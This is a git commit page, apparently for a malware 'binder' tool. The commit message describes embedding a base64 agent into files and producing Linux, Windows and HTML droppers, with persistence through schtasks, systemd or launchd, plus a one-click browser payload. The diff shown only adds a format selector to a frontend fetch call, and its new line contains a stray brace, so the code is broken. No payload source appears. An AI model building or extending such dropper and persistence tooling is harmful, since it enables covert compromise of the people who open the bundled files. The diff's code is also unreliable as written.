feat: self-contained binder v2 — agent embedded directly, no curl required
- /api/bind now embeds agent.py as base64 (fully offline install) - New HTML format: one-click browser payload (auto-downloads file) - PS1 format: Windows dropper with embedded agent + schtasks persistence - SH format (default): Linux/macOS dropper, extracts both file + agent - Agent installs to /opt/network-agent/ with systemd or launchd persistence - Frontend: format selector (SH/PS1/HTML) in binder modal - Verified: both payloads extract correctly, agent.py passes py_compile
This commit is contained in:
@@ -771,7 +771,8 @@ async function submitBinder() {
|
||||
formData.append('file', binderFile);
|
||||
|
||||
try {
|
||||
const resp = await fetch('/api/bind', { method: 'POST', body: formData });
|
||||
const format = document.getElementById("binderFormat").value;
|
||||
const resp = await fetch("/api/bind?format=" + format, { method: "POST", body: formData } });
|
||||
if (!resp.ok) {
|
||||
const err = await resp.json().catch(() => ({ error: 'Server error' }));
|
||||
throw new Error(err.error || `HTTP ${resp.status}`);
|
||||
|
||||
Reference in New Issue
Block a user